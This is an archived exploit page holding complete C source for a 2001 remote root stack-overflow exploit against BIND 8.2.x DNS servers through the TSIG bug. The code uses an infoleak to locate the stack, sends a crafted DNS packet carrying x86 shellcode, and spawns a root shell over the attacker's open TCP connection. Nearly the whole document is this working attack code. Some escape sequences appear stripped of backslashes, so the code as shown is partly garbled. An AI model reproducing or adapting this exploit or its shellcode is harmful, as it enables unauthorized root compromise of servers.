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# Title : BIND 8.2.x (TSIG) Remote Root Stack Overflow Exploit (2)
# Published : 2001-03-01
# Author : LSD-PLaNET
# Previous Title : BIND 8.2.x (TSIG) Remote Root Stack Overflow Exploit
# Next Title : BIND 8.2.x (TSIG) Remote Root Stack Overflow Exploit (3)
/*## copyright LAST STAGE OF DELIRIUM feb 2001 poland *://lsd-pl.net/ #*/
/*## bind 8.2 8.2.1 8.2.2 8.2.2-PX Slackware 4.0/RedHat 6.2 #*/
/* The code establishes a TCP connection with port 53 of a target system. */
/* It makes use of the "infoleak" bug (through UDP) to obtain the base */
/* value of the named process frame stack pointer, which is later used */
/* for constructing proper DNS tsig exploit packet. */
/* */
/* Upon successful exploitation the assembly routine gets executed. It */
/* walks the descriptor table of the exploited named process in a search */
/* for the socket descriptor of the previously established TCP connection. */
/* Found descriptor is duplicated on stdin, stdout and stderr and /bin/sh */
/* is spawned. */
/* */
/* The use of such an assembly routine allows successfull exploitation of */
/* the vulnerability in the case when vulnerable dns servers are protected */
/* by tightly configured firewall systems (with only 53 tcp/udp port open). */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <rpc/rpc.h>
#include <netdb.h>
#include <stdio.h>
#include <errno.h>
char msg[]={
0xab,0xcd,0x09,0x80,0x00,0x00,0x00,0x01,
0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,
0x01,0x20,0x20,0x20,0x20,0x02,0x61
};
char asmcode[]=
"x3f" /* label len 63 */
"x90x90x90" /* padding */
"xebx3b" /* jmp <asmcode+65> */
"x31xdb" /* xorl %ebx,%ebx */
"x5f" /* popl %edi */
"x83xefx7c" /* sub $0x7c,%edi */
"x8dx77x10" /* leal 0x10(%edi),%esi */
"x89x77x04" /* movl %esi,0x4(%edi) */
"x8dx4fx20" /* leal 0x20(%edi),%ecx */
"x89x4fx08" /* movl %ecx,0x8(%edi) */
"xb3x10" /* movb $0x10,%bl */
"x89x19" /* movl %ebx,(%ecx) */
"x31xc9" /* xorl %ecx,%ecx */
"xb1xff" /* movb $0xff,%cl */
"x89x0f" /* movl %ecx,(%edi) */
"x51" /* pushl %ecx */
"x31xc0" /* xorl %eax,%eax */
"xb0x66" /* movb $0x66,%al */
"xb3x07" /* movb $0x7,%bl */
"x89xf9" /* movl %edi,%ecx */
"xcdx80" /* int $0x80 */
"x59" /* popl %ecx */
"x31xdb" /* xorl %ebx,%ebx */
"x39xd8" /* cmpl %ebx,%eax */
"x75x0a" /* jne <asmcode+62> */
"x66xbbx12x34" /* movw $0x1234,%bx */
"x66x39x5ex02" /* cmpw %bx,0x2(%esi) */
"x74x08" /* je <asmcode+70> */
"xe2xe0" /* loop <asmcode+32> */
"x3f" /* label len 63 */
"xe8xc0xffxffxff" /* call <asmcode+6> */
"x89xcb" /* movl %ecx,%ebx */
"x31xc9" /* xorl %ecx,%ecx */
"xb1x03" /* movb $0x03,%cl */
"x31xc0" /* xorl %eax,%eax */
"xb0x3f" /* movb $0x3f,%al */
"x49" /* decl %ecx */
"xcdx80" /* int $0x80 */
"x41" /* incl %ecx */
"xe2xf6" /* loop <asmcode+76> */
"xebx14" /* jmp <asmcode+108> */
"x31xc0" /* xorl %eax,%eax */
"x5b" /* popl %ebx */
"x8dx4bx14" /* leal 0x14(%ebx),%ecx */
"x89x19" /* movl %ebx,(%ecx) */
"x89x43x18" /* movl %eax,0x18(%ebx) */
"x88x43x07" /* movb %al,0x7(%ebx) */
"x31xd2" /* xorl %edx,%edx */
"xb0x0b" /* movb $0xb,%al */
"xcdx80" /* int $0x80 */
"xe8xe7xffxffxff" /* call <asmcode+88> */
"/bin/sh"
"x90x90x90x90" /* padding */
"x90x90x90x90"
;
int rev(int a){
int i=1;
if((*(char*)&i)) return(a);
return((a>>24)&0xff)|(((a>>16)&0xff)<<8)|(((a>>8)&0xff)<<16)|((a&0xff)<<24);
}
int main(int argc,char **argv){
char buffer[1024],*b;
int i,c,n,sck[2],fp,ptr6,jmp,cnt,ofs,flag=-1;
struct hostent *hp;
struct sockaddr_in adr;
printf("copyright LAST STAGE OF DELIRIUM feb 2001 poland //lsd-pl.net/n");
printf("bind 8.2 8.2.1 8.2.2 8.2.2PX for slackware 4.0/redhat 6.2 x86nn");
if(argc<2){
printf("usage: %s address [-s][-e]n",argv[0]);
printf(" -s send infoleak packetn");
printf(" -e send exploit packetn");
exit(-1);
}
while((c=getopt(argc-1,&argv[1],"se"))!=-1){
switch(c){
case 's': flag=1;break;
case 'e': flag=2;
}
}
if(flag==-1) exit(-1);
adr.sin_family=AF_INET;
adr.sin_port=htons(53);
if((adr.sin_addr.s_addr=inet_addr(argv[1]))==-1) {
if((hp=gethostbyname(argv[1]))==NULL) {
errno=EADDRNOTAVAIL;goto err;
}
memcpy(&adr.sin_addr.s_addr,hp->h_addr,4);
}
sck[0]=socket(AF_INET,SOCK_DGRAM,0);
sck[1]=socket(AF_INET,SOCK_STREAM,0);
if(connect(sck[0],(struct sockaddr*)&adr,sizeof(adr))<0) goto err;
if(connect(sck[1],(struct sockaddr*)&adr,sizeof(adr))<0) goto err;
i=sizeof(struct sockaddr_in);
if(getsockname(sck[1],(struct sockaddr*)&adr,&i)==-1){
struct netbuf {unsigned int maxlen;unsigned int len;char *buf;};
struct netbuf nb;
ioctl(sck[1],(('S'<<8)|2),"sockmod");
nb.maxlen=0xffff;
nb.len=sizeof(struct sockaddr_in);;
nb.buf=(char*)&adr;
ioctl(sck[1],(('T'<<8)|144),&nb);
}
n=ntohs(adr.sin_port);
asmcode[4+48+2]=(unsigned char)((n>>8)&0xff);
asmcode[4+48+3]=(unsigned char)(n&0xff);
if(write(sck[0],msg,sizeof(msg))==-1) goto err;
if((cnt=read(sck[0],buffer,sizeof(buffer)))==-1) goto err;
printf("stack dump:n");
for(i=0;i<(cnt-512);i++){
printf("%s%02x ",(i&&(!(i%16)))?"n":"",(unsigned char)buffer[512+i]);
}
printf("nn");
fp=rev(*(unsigned int*)&buffer[532]);
ofs=0xfe-((fp-(fp&0xffffff00))&0xff);
cnt=163;
if((buffer[512+20+2]!=(char)0xff)&&(buffer[512+20+3]!=(char)0xbf)){
printf("system does not seem to be a vulnerable linuxn");exit(1);
}
if(flag==1){
printf("system seems to be running bind 8.2.x on a linuxn");exit(-1);
}
if(cnt<(ofs+28)){
printf("frame ptr is too low to be successfully exploitedn");exit(-1);
}
jmp=rev(fp-586);
ptr6=rev((fp&0xffffff00)-12);
fp=rev(fp&0xffffff00);
printf("frame ptr=0x%08x adr=%08x ofs=%d ",rev(fp),rev(jmp),ofs);
printf("port=%04x connected! ",(unsigned short)n);fflush(stdout);
b=buffer;
memcpy(b,"xabxcdx01x00x00x02x00x00x00x00x00x01",12);b+=12;
for(i=0;i<strlen(asmcode);i++) *b++=asmcode[i];
for(i=0;i<(128>>1);i++,b++) *b++=0x01;
memcpy(b,"x00x00x01x00x01",5);b+=5;
for(i=0;i<((ofs+64)>>1);i++,b++) *b++=0x01;
*b++=28;
memcpy(b,"x06x00x00x00",4);b+=4;
memcpy(b,&fp,4);b+=4;
memcpy(b,"x06x00x00x00",4);b+=4;
memcpy(b,&jmp,4);b+=4;
memcpy(b,&jmp,4);b+=4;
memcpy(b,&fp,4);b+=4;
memcpy(b,&ptr6,4);b+=4;
cnt-=ofs+28;
for(i=0;i<(cnt>>1);i++,b++) *b++=0x01;
memcpy(b,"x00x00x01x00x01x00x00xfaxff",9);b+=9;
if(write(sck[0],buffer,b-buffer)==-1) goto err;
sleep(1);printf("sent!n");
write(sck[1],"/bin/uname -an",14);
while(1){
fd_set fds;
FD_ZERO(&fds);
FD_SET(0,&fds);
FD_SET(sck[1],&fds);
if(select(FD_SETSIZE,&fds,NULL,NULL,NULL)){
int cnt;
char buf[1024];
if(FD_ISSET(0,&fds)){
if((cnt=read(0,buf,1024))<1){
if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
else break;
}
write(sck[1],buf,cnt);
}
if(FD_ISSET(sck[1],&fds)){
if((cnt=read(sck[1],buf,1024))<1){
if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
else break;
}
write(1,buf,cnt);
}
}
}
exit(0);
err:
perror("error");exit(-1);
}
// www.Syue.com [2001-03-01]